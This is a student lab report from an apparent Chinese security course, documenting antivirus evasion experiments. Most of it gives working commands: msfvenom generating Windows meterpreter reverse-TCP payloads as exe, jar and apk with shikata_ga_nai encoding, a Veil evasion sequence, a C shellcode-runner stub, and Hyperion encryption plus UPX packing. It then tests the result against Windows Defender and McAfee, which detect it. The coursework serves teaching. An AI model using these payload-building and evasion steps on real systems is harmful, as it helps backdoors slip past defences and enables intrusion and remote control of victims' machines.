20222320 2024-2025-1 《网络与系统攻防技术》实验三实验报告

目录

0.认识工具

Veil

一款专为渗透设计的开源工具,旨在生成能够绕过主流防病毒(AV)软件检测的恶意载荷。它通过多种技术手段,如加密、混淆和利用漏洞,确保生成的载荷在目标环境中能够顺利执行而不被AV软件拦截

apt-get install veil
        ---安装Veil

veil
        ---启动Veil

use tool_number
        ---选择工具

list
        ---列出可用的工具

set option_name option_value
        ---设置选项

generate
        ---生成Payload

exit
        ---退出Veil

info
        ---显示工具信息

update
        ---更新Veil

1.实验目标

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  • veil,加壳工具
  • 使用C + shellcode编程

(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

2.实验内容

(1)掌握免杀原理与技术

(2)回答问题

  • 杀软是如何检测出恶意代码的?
    1.基于特征码:检测文件中是否有木马病毒特征码;如果检测出匹配就是恶意代码
    2.启发式分析:检查软件的特征和行为,易误报,但可以检测出新型的恶意代码
    3.行为分析:检查软件运行的行为,是否执行敏感操作。如果与已知的恶意行为相符,就判定为恶意代码

  • 免杀是做什么?
    采取各种技术手段,使恶意软件能够绕过杀毒软件的检测和防御,从而成功地在目标系统上执行。

  • 免杀的基本方法有哪些?
    1.改变特征码
    2.加密壳,压缩壳
    3.代码混淆
    4.改变行为(通信方式,操作方式)

3.实验过程

(1)使用msf编码器,使用msfvenom生成如jar之类的其他文件

msf可以将源程序重新编码,生成新的2进制文件;运行后执行源程序功能

先查看所有的编码器

msfvenom --list encoder


选一个rank等级高的来编码:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.56.103 LPORT=2320 -f exe > 20222320_test3.exe

这时会根据需求生成一个可执行程序:

先测试一下它的免杀效果,这里用virustotal进行检测,网址见参考资料

60/72,效果并不好;尝试多次编码看看效果

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.56.103 LPORT=2320 -f exe > 20222320_test3.exe

测试后效果一般,没有明显变化。下一步试试其他文件,先生成jar包

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.56.103 LPORT=2320 -f jar > 20222320_first.jar


生成结果如下:

把这个拿去检测一下:

和直接编码为exe相比有所下降,但还是比较高。
再试试做一个apk:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.56.103 LPORT=2320 -f apk > 20222320_first.apk


这个拿去检测:

通过率稍微高点,但作为免杀来说还是较低。这3个结果说明直接生成的结果难以直接通过检测,所以要找别的办法

(2)使用veil加壳工具加壳

安装veil就很麻烦,而且地下实验室网不好,真要安半小时才行。具体如图安装,更着安装程序一直安就行:

安装完后应该是这个界面:

先输入下列指令生成个默认exe看看

use evasion					
use c/meterpreter/rev_tcp.py 
set LHOST 192.168.56.103	
set LPORT 2320					
generate


这里要到它显示的文件路径去查找生成的文件才行,找到后放回当前文件夹便于使用:

拿去直接检测一下:

结果并不好,通过率不足一半,说明还是不能实现免杀

(3)使用C + shellcode编程

用msf生成一段shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=2320 -f c  


生成一段shellcode,接下来将它们放到一个.c文件里面:

unsigned char buf[] = "[生成的shellcode]";
int main() {
    int (*func)() = (int(*)())buf;
    func(); 
 }

交叉编译这个程序:

i686-w64-mingw32-g++ shellcode_c.c -o winshell.exe

检测一下:

比起之前的,可以说检出概率小了很多了

(4)通过组合应用各种技术实现恶意代码免杀

基本思路就是利用msf生成的shell上,用c+shellcode生成源文件,再用wine的hyperion加密,然后upx压缩壳

i686-w64-mingw32-gcc win_shell.c -o win_shell.exe
wine /usr/share/windows-resources/hyperion/hyperion.exe -v win_shell.exe win_shell.hyed.exe
upx win_shell.hyed.exe -o winshell_upx.exe


拿去检查一下,看看通过率:

实现巨大突破了,虽然还不是完全免杀,但已经很成功了,这下通过winscp连接到windows上,尝试运行。

(5)用另一电脑实测,在杀软开启的情况下,可运行并回连成功

先设置kali准备监听,步骤同实验二,注意载荷要和生成的shellcode载荷一样,不然会失败
电脑用的windows自带的防护程序和mcafee(删不掉),刚刚生成的软件在win防护中心和mcafee都打开的情况下,双击运行

哦嚯,被win防护检测出来了,那就换一下方法吧:用veil生成程序,再加密并压缩
先生成一个:

再压缩:

检测看看:

看来不是很行,但不管了,试试:

完蛋,还是不行。后面又尝试了好几种组合,都不太行,windows自带的防护中心太猛了
没办法,这个算是完不成了,具体原因后面分析吧

4.问题及解决方案

  • 问题1:veil下载出bug
  • 问题1解决方案:这个当时没注意截屏,写报告时安装好了没有图片了;描述一下就是缺少一个wine的依赖,这是程序会在后面提示你重新运行veil的安装程序,照着重新安装就行。也可能会有网络问题,这时候换源就行
  • 问题2:免杀失败
  • 问题2解决方案:见下方学习思考

5.学习感悟、思考等

先看一下加壳的原理,加壳就是把原始的程序装到一个“外壳”里保护起来。所以被保护过的程序启动其实是从壳代码开始的,然后才会启动处理之后的原始程序,因为原始程序上加了一堆的加密和虚拟化手段,没有壳代码参与,操作系统已经不能正确运行了。加壳时对block进行编译保护,一个 Block 会被掰开、揉碎、打散,变成多个 Block,而且还分散在各处。这样就不可能直接反编译,最后链接保存相关的操作,便于复原。
那和win报错有什么关系呢?加壳处理过的程序内部已经不能像一个“正经”程序那样被人随便分析了,杀毒软件的思路通常是“不让我看懂就说明你有问题”,所以就报毒。而且msf太老了,被各路软件都分析透了。而且这次试验的免杀技术也比较简单,,静态就被杀了,说明特征码被找到呗。真要改的话参考下面免杀要进入程序修改特征码才行吧,而不是只是简单运行加密压缩壳。
这次试验虽然最后有点失败,但通过查资料分析原因,还是让我对免杀认识了很多的,总而言之,道高一尺魔高一丈啊

参考资料

posted @ 2024-10-21 17:50  20222320  阅读(33)  评论(0编辑  收藏  举报